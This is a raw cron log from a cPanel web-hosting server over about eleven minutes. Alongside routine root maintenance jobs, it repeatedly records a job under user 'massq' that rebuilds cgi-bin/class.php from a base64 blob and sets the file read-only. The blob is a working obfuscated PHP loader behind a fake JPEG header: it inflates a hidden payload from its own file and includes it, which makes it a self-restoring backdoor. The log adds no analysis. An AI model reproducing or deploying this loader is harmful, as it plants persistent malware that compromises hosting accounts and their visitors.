Sep  9 13:14:01 server CROND[8746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:14:01 server CROND[8745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:14:01 server CROND[8747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:15:01 server CROND[9173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:15:01 server CROND[9174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:15:01 server CROND[9185]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:15:01 server CROND[9179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:15:01 server CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 13:15:01 server CROND[9188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:15:01 server CROND[9190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:15:01 server CROND[9193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:16:01 server CROND[10097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:16:01 server CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:16:01 server CROND[10099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:17:01 server CROND[10508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:17:01 server CROND[10509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:17:01 server CROND[10510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:18:01 server CROND[10988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:18:01 server CROND[10989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:18:01 server CROND[10990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:19:01 server CROND[11412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:19:01 server CROND[11413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:19:01 server CROND[11414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:20:01 server CROND[11814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:20:01 server CROND[11817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:20:01 server CROND[11821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:20:01 server CROND[11820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:20:01 server CROND[11822]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:20:01 server CROND[11831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:20:01 server CROND[11824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:20:01 server CROND[11832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:20:01 server CROND[11833]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:21:01 server CROND[12705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:21:01 server CROND[12706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:21:01 server CROND[12707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:22:01 server CROND[13099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:22:01 server CROND[13101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:22:01 server CROND[13100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:23:01 server CROND[13577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:23:01 server CROND[13578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:23:01 server CROND[13579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:24:01 server CROND[13969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:24:01 server CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:24:01 server CROND[13971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:25:01 server CROND[14355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:25:01 server CROND[14359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:25:01 server CROND[14358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:25:01 server CROND[14361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:25:01 server CROND[14360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:25:01 server CROND[14362]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:25:01 server CROND[14357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
